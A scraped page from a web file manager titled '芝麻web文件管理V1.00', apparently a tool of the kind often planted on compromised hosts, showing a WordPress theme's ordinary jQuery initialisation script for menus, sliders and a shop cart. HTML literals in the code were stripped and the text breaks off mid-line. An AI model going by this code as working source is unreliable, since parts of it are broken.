芝麻web文件管理V1.00
编辑当前文件:/home/p/r/i/prismawe/backup/carrosserie-panossian.fr/wp-content/themes/reisen/fw/js/core.init.js
/* global jQuery:false */ /* global REISEN_STORAGE:false */ jQuery(document).ready(function() { "use strict"; REISEN_STORAGE['theme_init_counter'] = 0; reisen_init_actions(); reisen_woof_select(); }); jQuery(window).on('beforeunload', function() { "use strict"; // Show preloader if (jQuery.browser && !jQuery.browser.safari) jQuery('#page_preloader').css({display: 'block', opacity: 0}).animate({opacity:0.8}, 300); }); jQuery(document).on('change', '.woof_sid_auto_shortcode select', function (){ for (var i = 1; i < 25; i = i + 2) setTimeout(function(){ reisen_woof_select(); }, i * 50); }); function reisen_woof_select() { jQuery( ".woof_sid_auto_shortcode .woof_block_html_items > select" ).wrap(function() { return "
"; }); } // Theme init actions function reisen_init_actions() { "use strict"; if (REISEN_STORAGE['vc_edit_mode'] && jQuery('.vc_empty-placeholder').length==0 && REISEN_STORAGE['theme_init_counter']++ < 30) { setTimeout(reisen_init_actions, 200); return; } // Hide preloader jQuery('#page_preloader').animate({opacity:0}, 500, function() { jQuery(this).css({display: 'none'}); }); // Check for Retina display if (reisen_is_retina()) { reisen_set_cookie('reisen_retina', 1, 365); } reisen_ready_actions(); // Add resize handlers after VC row stretch handlers on('resize.vcRowBehaviour', ...) setTimeout(function() { jQuery(window).on('resize.reisen', function() { reisen_resize_actions(); reisen_scroll_actions() }).trigger('resize.reisen'); }, 10); // Add resize on VC action vc-full-width-row jQuery(document).on('vc-full-width-row', function() { reisen_resize_actions(); reisen_scroll_actions() }); // Scroll handlers jQuery(window).on('scroll.reisen', function() { "use strict"; reisen_scroll_actions(); }); } // Theme first load actions //============================================== function reisen_ready_actions() { "use strict"; // Call theme specific action (if exists) //---------------------------------------------- if (window.reisen_theme_ready_actions) reisen_theme_ready_actions(); // Widgets decoration //---------------------------------------------- // Decorate nested lists in widgets and side panels jQuery('.widget ul > li').each(function() { if (jQuery(this).find('ul').length > 0) { jQuery(this).addClass('has_children'); } }); // Archive widget decoration jQuery('.widget_archive a').each(function() { var val = jQuery(this).html().split(' '); if (val.length > 1) { val[val.length-1] = '
' + val[val.length-1] + '
'; jQuery(this).html(val.join(' ')) } }); // Navigate on category change jQuery('.widget_subcategories').on('change', 'select', function() { var dropdown = jQuery(this).get(0); if ( dropdown.options[dropdown.selectedIndex].value > 0 ) { location.href = REISEN_STORAGE['site_url'] + "/?cat="+dropdown.options[dropdown.selectedIndex].value; } }); // Calendar handlers - change months jQuery('.widget_calendar').on('click', '.month_prev a, .month_next a', function(e) { "use strict"; var calendar = jQuery(this).parents('.wp-calendar'); var m = jQuery(this).data('month'); var y = jQuery(this).data('year'); var l = jQuery(this).data('letter'); var pt = jQuery(this).data('type'); jQuery.post(REISEN_STORAGE['ajax_url'], { action: 'calendar_change_month', nonce: REISEN_STORAGE['ajax_nonce'], letter: l, month: m, year: y, post_type: pt }).done(function(response) { var rez = {}; try { rez = JSON.parse(response); } catch (e) { rez = { error: REISEN_STORAGE['ajax_error'] }; console.log(response); } if (rez.error === '') { calendar.parent().fadeOut(200, function() { jQuery(this).find('.wp-calendar').remove(); jQuery(this).append(rez.data).fadeIn(200); }); } }); e.preventDefault(); return false; }); // Media setup //---------------------------------------------- // Video background init jQuery('.video_bg').each(function() { var youtube = jQuery(this).data('youtube-code'); if (youtube) { jQuery(this).tubular({videoId: youtube}); } }); // Main slider //---------------------------------------------- jQuery('.slider_over_button,.slider_over_close').on('click', function(e) { jQuery(this).parent().toggleClass('opened'); e.preventDefault(); return false; }); // Menu //---------------------------------------------- // Clone side menu for responsive if (jQuery('ul#menu_side').length > 0) { jQuery('ul#menu_side').clone().removeAttr('id').removeClass('menu_side_nav').addClass('menu_side_responsive').insertAfter('ul#menu_side'); reisen_show_current_menu_item(jQuery('.menu_side_responsive'), jQuery('.sidebar_outer_menu_responsive_button')); } if (jQuery('.header_mobile').length > 0) { jQuery('.header_mobile .menu_main_nav_area ul#menu_main').removeAttr('id'); jQuery('.header_mobile .menu_button').on('click', function(){ jQuery('.header_mobile .side_wrap').toggleClass('open'); jQuery('.header_mobile .mask').toggleClass('show'); jQuery('html').toggleClass('menu_mobile_open'); // Fix for Safari if (reisen_browser_is_ios() && jQuery('body').hasClass('menu_mobile')) { jQuery('body').toggleClass('ios_fixed'); } }); jQuery('.header_mobile .mask, .header_mobile .side_wrap .close').on('click', function(){ jQuery('.header_mobile .side_wrap').removeClass('open'); jQuery('.header_mobile .mask').removeClass('show'); jQuery('html').removeClass('menu_mobile_open'); // Fix for Safari if (reisen_browser_is_ios() && jQuery('body').hasClass('menu_mobile')) { jQuery('body').removeClass('ios_fixed'); } }); } // Push menu button jQuery('.menu_pushy_button').on('click', function(e){ "use strict"; jQuery('body').addClass('pushy-active').css('overflow', 'hidden'); jQuery('.site-overlay').fadeIn('fast'); e.preventDefault(); return false; }); jQuery('.pushy .close-pushy,.site-overlay').on('click', function(e){ jQuery('body').removeClass('pushy-active').css('overflow', 'visible'); jQuery('.site-overlay').fadeOut('fast'); e.preventDefault(); return false; }); // Side menu widgets button jQuery('.sidebar_outer_widgets_button').on('click', function(e){ "use strict"; jQuery('.sidebar_outer_widgets').slideToggle(); e.preventDefault(); return false; }); // Add arrows in responsive menu jQuery('.header_mobile .menu_main_nav .menu-item-has-children > a, .menu_side_responsive .menu-item-has-children > a, .menu_pushy_nav_area .menu-item-has-children > a, body:not(.woocommerce) .widget_area:not(.footer_wrap) .widget_product_categories ul.product-categories .has_children > a').prepend('
'); // Submenu click handler for the responsive menu jQuery('.header_mobile .menu_main_nav, .menu_side_responsive, .menu_pushy_nav_area, body:not(.woocommerce) .widget_area:not(.footer_wrap) .widget_product_categories').on('click', 'li a,li a .open_child_menu, ul.product-categories.plain li a .open_child_menu', function(e) { "use strict"; var is_menu_main = jQuery(this).parents('.menu_main_nav').length > 0; var $a = jQuery(this).hasClass('open_child_menu') ? jQuery(this).parent() : jQuery(this); if ((!is_menu_main || jQuery('body').hasClass('menu_mobile')) && ($a.parent().hasClass('menu-item-has-children') || $a.parent().hasClass('has_children'))) { if ($a.siblings('ul:visible').length > 0) $a.siblings('ul').slideUp().parent().removeClass('opened'); else { jQuery(this).parents('li').siblings('li').find('ul:visible').slideUp().parent().removeClass('opened'); $a.siblings('ul').slideDown().parent().addClass('opened'); } } // Ignore link for parent menu items if (jQuery(this).hasClass('open_child_menu') || $a.attr('href')=='#') { e.preventDefault(); return false; } }); // Init superfish menus reisen_init_sfmenu('.menu_main_nav_area ul#menu_main, ul#menu_user, ul#menu_side, body:not(.woocommerce) .widget_area:not(.footer_wrap) .widget_product_categories ul.product-categories'); // Slide effect for main menu if (REISEN_STORAGE['menu_hover']=='slide_line' || REISEN_STORAGE['menu_hover']=='slide_box') { setTimeout(function() { "use strict"; jQuery('#menu_main').spasticNav({ style: REISEN_STORAGE['menu_hover']=='slide_line' ? 'line' : 'box', color: REISEN_STORAGE['accent1_hover'], colorOverride: false }); }, 500); } // Show table of contents for the current page if (REISEN_STORAGE['toc_menu'] != 'hide' && REISEN_STORAGE['toc_menu'] != 'no') { reisen_build_page_toc(); } // One page mode for menu links (scroll to anchor) jQuery('#toc, ul#menu_main li, ul#menu_user li, ul#menu_side li, ul#menu_footer li, ul#menu_pushy li').on('click', 'a', function(e) { "use strict"; var href = jQuery(this).attr('href'); if (href===undefined) return; var pos = href.indexOf('#'); if (pos < 0 || href.length == 1) return; if (jQuery(href.substr(pos)).length > 0) { var loc = window.location.href; var pos2 = loc.indexOf('#'); if (pos2 > 0) loc = loc.substring(0, pos2); var now = pos==0; if (!now) now = loc == href.substring(0, pos); if (now) { reisen_document_animate_to(href.substr(pos)); reisen_document_set_location(pos==0 ? loc + href : href); e.preventDefault(); return false; } } }); // Store height of the top and side panels REISEN_STORAGE['top_panel_height'] = 0; //Math.max(0, jQuery('.top_panel_wrap').height()); REISEN_STORAGE['side_panel_height'] = 0; // Pagination //---------------------------------------------- // Page navigation (style slider) jQuery('.pager_cur').on('click', function(e) { "use strict"; jQuery('.pager_slider').slideDown(300, function() { reisen_sc_init(jQuery('.pager_slider').eq(0)); }); e.preventDefault(); return false; }); // View More button jQuery('#viewmore_link').on('click', function(e) { "use strict"; if (!REISEN_STORAGE['viewmore_busy'] && !jQuery(this).hasClass('viewmore_empty')) { jQuery(this).parent().addClass('loading'); REISEN_STORAGE['viewmore_busy'] = true; jQuery.post(REISEN_STORAGE['ajax_url'], { action: 'view_more_posts', nonce: REISEN_STORAGE['ajax_nonce'], page: REISEN_STORAGE['viewmore_page']+1, data: REISEN_STORAGE['viewmore_data'], vars: REISEN_STORAGE['viewmore_vars'] }).done(function(response) { "use strict"; var rez = {}; try { rez = JSON.parse(response); } catch (e) { rez = { error: REISEN_STORAGE['ajax_error'] }; console.log(response); } jQuery('#viewmore_link').parent().removeClass('loading'); REISEN_STORAGE['viewmore_busy'] = false; if (rez.error === '') { var posts_container = jQuery('.content').eq(0); if (posts_container.find('.isotope_wrap').length > 0) posts_container = posts_container.find('.isotope_wrap').eq(0); if (posts_container.hasClass('isotope_wrap')) { posts_container.data('last-width', 0).append(rez.data); REISEN_STORAGE['isotope_init_counter'] = 0; reisen_init_appended_isotope(posts_container, rez.filters); } else jQuery('#viewmore').before(rez.data); REISEN_STORAGE['viewmore_page']++; if (rez.no_more_data==1) { jQuery('#viewmore_link').addClass('viewmore_empty').parent().hide(); } reisen_init_post_formats(); reisen_sc_init(posts_container); reisen_scroll_actions(); } }); } e.preventDefault(); return false; }); // WooCommerce //---------------------------------------------- // Change display mode jQuery('.woocommerce,.woocommerce-page').on('click', '.mode_buttons a', function(e) { "use strict"; var mode = jQuery(this).hasClass('woocommerce_thumbs') ? 'thumbs' : 'list'; reisen_set_cookie('reisen_shop_mode', mode, 365); jQuery(this).siblings('input').val(mode).parents('form').get(0).submit(); e.preventDefault(); return false; }); // Added to cart jQuery('body').bind('added_to_cart', function() { "use strict"; // Update amount on the cart button var total = jQuery('.widget_shopping_cart').eq(0).find('.total .amount').text(); if (total != undefined) { jQuery('.top_panel_cart_button .cart_summa').text(total); } // Update count items on the cart button var cnt = 0; jQuery('.widget_shopping_cart_content').eq(0).find('.cart_list li').each(function() { var q = jQuery(this).find('.quantity').html().split(' ', 2); if (!isNaN(q[0])) cnt += Number(q[0]); }); var items = jQuery('.top_panel_cart_button .cart_items').eq(0).text().split(' ', 2); items[0] = cnt; jQuery('.top_panel_cart_button .cart_items').text(items[0]+' '+items[1]); // Update data-attr on button jQuery('.top_panel_cart_button').data({ 'items': cnt ? cnt : 0, 'summa': total ? total : 0 }); }); // Show cart jQuery('.top_panel_middle .top_panel_cart_button, .header_mobile .top_panel_cart_button').on('click', function(e) { "use strict"; jQuery(this).siblings('.sidebar_cart').slideToggle(); e.preventDefault(); return false; }); // Add buttons to quantity jQuery('.woocommerce div.quantity,.woocommerce-page div.quantity').append('
'); jQuery('.woocommerce div.quantity').on('click', '>span', function(e) { "use strict"; var f = jQuery(this).siblings('input'); if (jQuery(this).hasClass('q_inc')) { f.val(Math.max(0, parseInt(f.val()))+1); } else { f.val(Math.max(1, Math.max(0, parseInt(f.val()))-1)); } jQuery('.actions .button').removeAttr('disabled'); jQuery('.single_add_to_cart_button').removeClass('disabled'); e.preventDefault(); return false; }); // Add stretch behaviour to WooC tabs area jQuery('.single-product .woocommerce-tabs') .addClass('trx-stretch-width scheme_light') .after('
'); reisen_stretch_width(); // Popup login and register windows //---------------------------------------------- jQuery('.popup_link,.popup_login_link,.popup_register_link').addClass('inited').on('click', function(e){ var popup = jQuery(jQuery(this).attr('href')); if (popup.length === 1) { reisen_hide_popup(jQuery(popup.hasClass('popup_login') ? '.popup_registration' : '.popup_login' )); reisen_show_popup(popup); } e.preventDefault(); return false; }); jQuery('.popup_wrap').on('click', '.popup_close', function(e){ var popup = jQuery(this).parent(); if (popup.length === 1) { reisen_hide_popup(popup); } e.preventDefault(); return false; }); // Bookmarks //---------------------------------------------- // Add bookmark jQuery('.bookmarks_add').on('click', function(e) { "use strict"; var title = window.document.title.split('|')[0]; var url = window.location.href; var list = jQuery.cookie('reisen_bookmarks'); var exists = false; if (list) { try { list = JSON.parse(list); } catch (e) {} if (list.length) { for (var i=0; i
'+REISEN_STORAGE['strings']['bookmark_title']+'
', REISEN_STORAGE['strings']['bookmark_add'], null, function(btn, popup) { "use strict"; if (btn != 1) return; title = message_popup.find('#bookmark_title').val(); list.push({title: title, url: url}); jQuery('.bookmarks_list').append('
'+title+'
'); jQuery.cookie('reisen_bookmarks', JSON.stringify(list), {expires: 365, path: '/'}); setTimeout(function () {reisen_message_success(REISEN_STORAGE['strings']['bookmark_added'], REISEN_STORAGE['strings']['bookmark_add']);}, REISEN_STORAGE['message_timeout']/4); }); } else reisen_message_warning(REISEN_STORAGE['strings']['bookmark_exists'], REISEN_STORAGE['strings']['bookmark_add']); e.preventDefault(); return false; }); // Delete bookmark jQuery('.bookmarks_list').on('click', '.bookmarks_delete', function(e) { "use strict"; var idx = jQuery(this).parent().index(); var list = jQuery.cookie('reisen_bookmarks'); if (list) { try { list = JSON.parse(list); } catch (e) {} if (list.length) { list.splice(idx, 1); jQuery.cookie('reisen_bookmarks', JSON.stringify(list), {expires: 365, path: '/'}); } } jQuery(this).parent().remove(); e.preventDefault(); return false; }); // Other settings //------------------------------------ // Scroll to top button jQuery('.scroll_to_top').on('click', function(e) { "use strict"; jQuery('html,body').animate({ scrollTop: 0 }, 'slow'); e.preventDefault(); return false; }); // AJAX views counter if (REISEN_STORAGE['ajax_views_counter'] !== undefined) { setTimeout(function(){ jQuery.post(REISEN_STORAGE['ajax_url'], { action: 'post_counter', nonce: REISEN_STORAGE['ajax_nonce'], post_id: REISEN_STORAGE['ajax_views_counter']['post_id'], views: REISEN_STORAGE['ajax_views_counter']['post_views'] }); }, 10); } // Show system message reisen_show_system_message(); // Init post format specific scripts reisen_init_post_formats(); // Call sc init action (if exists) if (window.reisen_sc_init_actions) reisen_sc_init_actions(); // Init hidden elements (if exists) if (window.reisen_init_hidden_elements) reisen_init_hidden_elements(jQuery('body').eq(0)); } //end ready // Scroll actions //============================================== // Do actions when page scrolled function reisen_scroll_actions() { "use strict"; // Call theme specific action (if exists) //---------------------------------------------- if (window.reisen_theme_scroll_actions) reisen_theme_scroll_actions(); var scroll_offset = jQuery(window).scrollTop(); var scroll_to_top_button = jQuery('.scroll_to_top'); var adminbar_height = Math.max(0, jQuery('#wpadminbar').height()); if (REISEN_STORAGE['top_panel_height'] < 1) { REISEN_STORAGE['top_panel_height'] = Math.max(0, jQuery('.top_panel_wrap').height()); } // Scroll to top button show/hide if (scroll_offset > REISEN_STORAGE['top_panel_height']) scroll_to_top_button.addClass('show'); else scroll_to_top_button.removeClass('show'); // Fix/unfix top panel if (!jQuery('body').hasClass('menu_mobile') && REISEN_STORAGE['menu_fixed']) { var slider_height = 0; if (jQuery('.top_panel_below .slider_wrap').length > 0) { slider_height = jQuery('.top_panel_below .slider_wrap').height(); if (slider_height < 10) { slider_height = jQuery('.slider_wrap').hasClass('.slider_fullscreen') ? jQuery(window).height() : REISEN_STORAGE['slider_height']; } } if (scroll_offset <= slider_height + REISEN_STORAGE['top_panel_height']) { if (jQuery('body').hasClass('top_panel_fixed')) { jQuery('body').removeClass('top_panel_fixed'); } } else if (scroll_offset > slider_height + REISEN_STORAGE['top_panel_height']) { if (!jQuery('body').hasClass('top_panel_fixed') && jQuery(document).height() > jQuery(window).height()*1.5) { jQuery('.top_panel_fixed_wrap').height(REISEN_STORAGE['top_panel_height']); jQuery('.top_panel_wrap').css('marginTop', '-150px').animate({'marginTop': 0}, 500); jQuery('body').addClass('top_panel_fixed'); } } } // Fix/unfix side panel if (jQuery('.sidebar_outer').length > 0) { if (REISEN_STORAGE['side_panel_height'] == 0) REISEN_STORAGE['side_panel_height'] = jQuery('.sidebar_outer_logo_wrap').outerHeight() + jQuery('.sidebar_outer_menu').outerHeight() + jQuery('.sidebar_outer_widgets').outerHeight(); if (scroll_offset + jQuery(window).height() > REISEN_STORAGE['side_panel_height'] + 100) { if (jQuery('.sidebar_outer').css('position')!=='fixed') { jQuery('.sidebar_outer').css({ 'position': 'fixed', 'top': Math.min(0, jQuery(window).height() - REISEN_STORAGE['side_panel_height'] - 100) + 'px', }); } } else { if (jQuery('.sidebar_outer').css('position')=='fixed') { jQuery('.sidebar_outer').css({ 'position': 'absolute', 'top': 0 }); } } } // TOC current items jQuery('#toc .toc_item').each(function() { "use strict"; var id = jQuery(this).find('a').attr('href'); var pos = id.indexOf('#'); if (pos < 0 || id.length == 1) return; var loc = window.location.href; var pos2 = loc.indexOf('#'); if (pos2 > 0) loc = loc.substring(0, pos2); var now = pos==0; if (!now) now = loc == href.substring(0, pos); if (!now) return; var off = jQuery(id).offset().top; var id_next = jQuery(this).next().find('a').attr('href'); var off_next = id_next ? jQuery(id_next).offset().top : 1000000; if (off < scroll_offset + jQuery(window).height()*0.8 && scroll_offset + REISEN_STORAGE['top_panel_height'] < off_next) jQuery(this).addClass('current'); else jQuery(this).removeClass('current'); }); // Infinite pagination reisen_infinite_scroll() // Parallax scroll reisen_parallax_scroll(); // Call sc scroll actions (if exists) if (window.reisen_sc_scroll_actions) reisen_sc_scroll_actions(); } // Infinite Scroll function reisen_infinite_scroll() { "use strict"; if (REISEN_STORAGE['viewmore_busy']) return; var infinite = jQuery('#viewmore.pagination_infinite'); if (infinite.length > 0) { var viewmore = infinite.find('#viewmore_link:not(.viewmore_empty)'); if (viewmore.length > 0) { if (jQuery(window).scrollTop() + jQuery(window).height() + 100 >= infinite.offset().top) { viewmore.eq(0).trigger('click'); } } } } // Parallax scroll function reisen_parallax_scroll(){ jQuery('.sc_parallax').each(function(){ var windowHeight = jQuery(window).height(); var scrollTops = jQuery(window).scrollTop(); var offsetPrx = Math.max(jQuery(this).offset().top, windowHeight); if ( offsetPrx <= scrollTops + windowHeight ) { var speed = Number(jQuery(this).data('parallax-speed')); var xpos = jQuery(this).data('parallax-x-pos'); var ypos = Math.round((offsetPrx - scrollTops - windowHeight) * speed + (speed < 0 ? windowHeight*speed : 0)); jQuery(this).find('.sc_parallax_content').css('backgroundPosition', xpos+' '+ypos+'px'); // Uncomment next line if you want parallax video (else - video position is static) jQuery(this).find('div.sc_video_bg').css('top', ypos+'px'); } }); } // Resize actions //============================================== // Do actions when page scrolled function reisen_resize_actions() { "use strict"; // Call theme specific action (if exists) //---------------------------------------------- if (window.reisen_theme_resize_actions) reisen_theme_resize_actions(); // Reset stored value REISEN_STORAGE['top_panel_height'] = 0; reisen_responsive_menu(); reisen_vc_row_fullwidth_to_boxed(); reisen_video_dimensions(); reisen_resize_video_background(); reisen_resize_fullscreen_slider(); reisen_resize_alter_portfolio(); reisen_stretch_width(); // Call sc resize actions (if exists) if (window.reisen_sc_resize_actions) reisen_sc_resize_actions(); } // Stretch area to full window width function reisen_stretch_width() { jQuery('.trx-stretch-width').each(function() { var $el = jQuery(this); var $el_full = $el.next('.trx-stretch-width-original'); var el_margin_left = parseInt( $el.css( 'margin-left' ), 10 ); var el_margin_right = parseInt( $el.css( 'margin-right' ), 10 ); var offset = 0 - $el_full.offset().left - el_margin_left; var width = jQuery( window ).width(); if (!$el.hasClass('inited')) { $el.addClass('inited invisible'); $el.css({ 'position': 'relative', 'box-sizing': 'border-box' }); } $el.css({ 'left': offset, 'width': jQuery( window ).width() }); if ( !$el.hasClass('trx-stretch-content') ) { var padding = Math.max(0, -1*offset); var paddingRight = Math.max(0, width - padding - $el_full.width() + el_margin_left + el_margin_right); $el.css( { 'padding-left': padding + 'px', 'padding-right': paddingRight + 'px' } ); } $el.removeClass('invisible'); }); } // Width vc_row when content boxed function reisen_vc_row_fullwidth_to_boxed(){ "use strict"; if (jQuery('body').hasClass('body_style_boxed')) { var width_body = jQuery('body').width(); var width_content = jQuery('.page_wrap').width(); var width_content_wrap = jQuery('.page_content_wrap .content_wrap').width(); var indent = ( width_content - width_content_wrap ) / 2; if ( width_body > width_content ){ jQuery('.vc_row[data-vc-full-width="true"]').each( function() { "use strict"; var mrg = parseInt(jQuery(this).css('marginLeft')); jQuery(this).css({ 'width': width_content, 'left': -indent-mrg, 'padding-left': indent+mrg, 'padding-right': indent+mrg }); if (jQuery(this).attr('data-vc-stretch-content')) { jQuery(this).css({ 'padding-left': 0, 'padding-right': 0 }); } }); } } } // Check window size and do responsive menu function reisen_responsive_menu() { "use strict"; if (reisen_is_responsive_need(REISEN_STORAGE['menu_mobile'])) { if (!jQuery('body').hasClass('menu_mobile')) { jQuery('body').removeClass('top_panel_fixed').addClass('menu_mobile'); jQuery('header.top_panel_wrap ').hide(); jQuery('.header_mobile').show(); jQuery('header #popup_login').attr('id', 'popup_login_1'); jQuery('header #popup_registration').attr('id', 'popup_registration_1'); jQuery('.header_mobile #popup_login_1').attr('id', 'popup_login'); jQuery('.header_mobile #popup_registration_1').attr('id', 'popup_registration'); } } else { if (jQuery('body').hasClass('menu_mobile')) { jQuery('body').removeClass('menu_mobile'); jQuery('header.top_panel_wrap ').show(); jQuery('.header_mobile').hide(); jQuery('header #popup_login_1').attr('id', 'popup_login'); jQuery('header #popup_registration_1').attr('id', 'popup_registration'); jQuery('.header_mobile #popup_login').attr('id', 'popup_login_1'); jQuery('.header_mobile #popup_registration').attr('id', 'popup_registration_1'); } } if (jQuery(window).width() < 640) { var pass = jQuery('.header_mobile .popup_wrap.popup_registration .registration_form > .form_right'); if(pass.length > 0){ jQuery('.header_mobile .popup_wrap.popup_registration .form_left .popup_form_field.email_field').after(pass); } } else{ var pass = jQuery('.header_mobile .popup_wrap.popup_registration .form_left > .form_right'); if(pass.length > 0){ jQuery('.header_mobile .popup_wrap.popup_registration .registration_form').append(pass); } } if (!jQuery('.top_panel_wrap').hasClass('menu_show')) jQuery('.top_panel_wrap').addClass('menu_show'); // Show widgets block on the sidebar outer (if sidebar not responsive and widgets are hidden) if (jQuery('.sidebar_outer').length > 0 && jQuery('.sidebar_outer').css('position')=='absolute' && jQuery('.sidebar_outer_widgets:visible').length==0) jQuery('.sidebar_outer_widgets').show(); // Switch popup menu / hierarchical list on product categories list placed in sidebar var cat_menu = jQuery('body:not(.woocommerce) .widget_area:not(.footer_wrap) .widget_product_categories ul.product-categories'); var sb = cat_menu.parents('.widget_area'); if (sb.length > 0 && cat_menu.length > 0) { if (sb.width() == sb.parents('.content_wrap').width()) { if (cat_menu.hasClass('inited')) { cat_menu.removeClass('inited').addClass('plain').superfish('destroy'); cat_menu.find('ul.animated').removeClass('animated').addClass('no_animated'); } } else { if (!cat_menu.hasClass('inited')) { cat_menu.removeClass('plain').addClass('inited'); cat_menu.find('ul.no_animated').removeClass('no_animated').addClass('animated'); reisen_init_sfmenu('body:not(.woocommerce) .widget_area:not(.footer_wrap) .widget_product_categories ul.product-categories'); } } } } // Check if responsive menu need function reisen_is_responsive_need(max_width) { "use strict"; var rez = false; if (max_width > 0) { var w = window.innerWidth; if (w == undefined) { w = jQuery(window).width()+(jQuery(window).height() < jQuery(document).height() || jQuery(window).scrollTop() > 0 ? 16 : 0); } rez = max_width > w; } return rez; } // Fit video frames to document width function reisen_video_dimensions() { jQuery('.sc_video_frame').each(function() { "use strict"; if (jQuery(this).parents('div:hidden,article:hidden').length > 0) return; var frame = jQuery(this).eq(0); var player = frame.parent(); var ratio = (frame.data('ratio') ? frame.data('ratio').split(':') : (frame.find('[data-ratio]').length>0 ? frame.find('[data-ratio]').data('ratio').split(':') : [16,9])); ratio = ratio.length!=2 || ratio[0]==0 || ratio[1]==0 ? 16/9 : ratio[0]/ratio[1]; var w_attr = frame.data('width'); var h_attr = frame.data('height'); if (!w_attr || !h_attr) return; var percent = (''+w_attr).substr(-1)=='%'; w_attr = parseInt(w_attr); h_attr = parseInt(h_attr); var w_real = Math.min(percent || frame.parents('.columns_wrap').length>0 ? 10000 : w_attr, frame.parents('div,article').width()), //player.width(); h_real = Math.round(percent ? w_real/ratio : w_real/w_attr*h_attr); if (parseInt(frame.attr('data-last-width'))==w_real) return; if (percent) { frame.height(h_real); } else { frame.css({'width': w_real+'px', 'height': h_real+'px'}); } frame.attr('data-last-width', w_real); }); jQuery('video.sc_video,video.wp-video-shortcode').each(function() { "use strict"; if (jQuery(this).parents('div:hidden,article:hidden').length > 0) return; var video = jQuery(this).eq(0); var ratio = (video.data('ratio')!=undefined ? video.data('ratio').split(':') : [16,9]); ratio = ratio.length!=2 || ratio[0]==0 || ratio[1]==0 ? 16/9 : ratio[0]/ratio[1]; var mejs_cont = video.parents('.mejs-video'); var frame = video.parents('.sc_video_frame'); var w_attr = frame.length>0 ? frame.data('width') : video.data('width'); var h_attr = frame.length>0 ? frame.data('height') : video.data('height'); if (!w_attr || !h_attr) { w_attr = video.attr('width'); h_attr = video.attr('height'); if (!w_attr || !h_attr) return; video.data({'width': w_attr, 'height': h_attr}); } var percent = (''+w_attr).substr(-1)=='%'; w_attr = parseInt(w_attr); h_attr = parseInt(h_attr); var w_real = Math.round(mejs_cont.length > 0 ? Math.min(percent ? 10000 : w_attr, mejs_cont.parents('div,article').width()) : video.width()), h_real = Math.round(percent ? w_real/ratio : w_real/w_attr*h_attr); if (parseInt(video.attr('data-last-width'))==w_real) return; if (mejs_cont.length > 0 && mejs) { reisen_set_mejs_player_dimensions(video, w_real, h_real); } if (percent) { video.height(h_real); } else { video.attr({'width': w_real, 'height': h_real}).css({'width': w_real+'px', 'height': h_real+'px'}); } video.attr('data-last-width', w_real); }); jQuery('video.sc_video_bg').each(function() { "use strict"; if (jQuery(this).parents('div:hidden,article:hidden').length > 0) return; var video = jQuery(this).eq(0); var ratio = (video.data('ratio')!=undefined ? video.data('ratio').split(':') : [16,9]); ratio = ratio.length!=2 || ratio[0]==0 || ratio[1]==0 ? 16/9 : ratio[0]/ratio[1]; var mejs_cont = video.parents('.mejs-video'); var container = mejs_cont.length>0 ? mejs_cont.parent() : video.parent(); var w = container.width(); var h = container.height(); var w1 = Math.ceil(h*ratio); var h1 = Math.ceil(w/ratio); if (video.parents('.sc_parallax').length > 0) { var windowHeight = jQuery(window).height(); var speed = Number(video.parents('.sc_parallax').data('parallax-speed')); var h_add = Math.ceil(Math.abs((windowHeight-h)*speed)); if (h1 < h + h_add) { h1 = h + h_add; w1 = Math.ceil(h1 * ratio); } } if (h1 < h) { h1 = h; w1 = Math.ceil(h1 * ratio); } if (w1 < w) { w1 = w; h1 = Math.ceil(w1 / ratio); } var l = Math.round((w1-w)/2); var t = Math.round((h1-h)/2); if (parseInt(video.attr('data-last-width'))==w1) return; if (mejs_cont.length > 0) { reisen_set_mejs_player_dimensions(video, w1, h1); mejs_cont.css({ //'left': -l+'px', 'top': -t+'px' }); } else video.css({ //'left': -l+'px', 'top': -t+'px' }); video.attr({'width': w1, 'height': h1, 'data-last-width':w1}).css({'width':w1+'px', 'height':h1+'px'}); if (video.css('opacity')==0) video.animate({'opacity': 1}, 3000); }); jQuery('iframe').each(function() { "use strict"; if (jQuery(this).parents('div:hidden,article:hidden').length > 0) return; var iframe = jQuery(this).eq(0); var ratio = (iframe.data('ratio')!=undefined ? iframe.data('ratio').split(':') : (iframe.find('[data-ratio]').length>0 ? iframe.find('[data-ratio]').data('ratio').split(':') : [16,9])); ratio = ratio.length!=2 || ratio[0]==0 || ratio[1]==0 ? 16/9 : ratio[0]/ratio[1]; var w_attr = iframe.attr('width'); var h_attr = iframe.attr('height'); var frame = iframe.parents('.sc_video_frame'); if (frame.length > 0) { w_attr = frame.data('width'); h_attr = frame.data('height'); } if (!w_attr || !h_attr) { return; } var percent = (''+w_attr).substr(-1)=='%'; w_attr = parseInt(w_attr); h_attr = parseInt(h_attr); var w_real = frame.length > 0 ? frame.width() : iframe.width(), h_real = Math.round(percent ? w_real/ratio : w_real/w_attr*h_attr); if (parseInt(iframe.attr('data-last-width'))==w_real) return; iframe.css({'width': w_real+'px', 'height': h_real+'px'}); }); } // Resize fullscreen video background function reisen_resize_video_background() { "use strict"; var bg = jQuery('.video_bg'); if (bg.length < 1) return; if (REISEN_STORAGE['media_elements_enabled'] && bg.find('.mejs-video').length == 0) { setTimeout(reisen_resize_video_background, 100); return; } var video = bg.find('video'); var ratio = (video.data('ratio')!=undefined ? video.data('ratio').split(':') : [16,9]); ratio = ratio.length!=2 || ratio[0]==0 || ratio[1]==0 ? 16/9 : ratio[0]/ratio[1]; var w = bg.width(); var h = bg.height(); var w1 = Math.ceil(h*ratio); var h1 = Math.ceil(w/ratio); if (h1 < h) { h1 = h; w1 = Math.ceil(h1 * ratio); } if (w1 < w) { w1 = w; h1 = Math.ceil(w1 / ratio); } var l = Math.round((w1-w)/2); var t = Math.round((h1-h)/2); if (bg.find('.mejs-container').length > 0) { reisen_set_mejs_player_dimensions(bg.find('video'), w1, h1); bg.find('.mejs-container').css({'left': -l+'px', 'top': -t+'px'}); } else bg.find('video').css({'left': -l+'px', 'top': -t+'px'}); bg.find('video').attr({'width': w1, 'height': h1}).css({'width':w1+'px', 'height':h1+'px'}); } // Set Media Elements player dimensions function reisen_set_mejs_player_dimensions(video, w, h) { "use strict"; if (mejs) { for (var pl in mejs.players) { if (mejs.players[pl].media.src == video.attr('src')) { if (mejs.players[pl].media.setVideoSize) { mejs.players[pl].media.setVideoSize(w, h); } mejs.players[pl].setPlayerSize(w, h); mejs.players[pl].setControlsSize(); } } } } // Resize Fullscreen Slider function reisen_resize_fullscreen_slider() { "use strict"; var slider_wrap = jQuery('.slider_wrap.slider_fullscreen'); if (slider_wrap.length < 1) return; var slider = slider_wrap.find('.sc_slider_swiper'); if (slider.length < 1) return; var h = jQuery(window).height() - jQuery('#wpadminbar').height() - 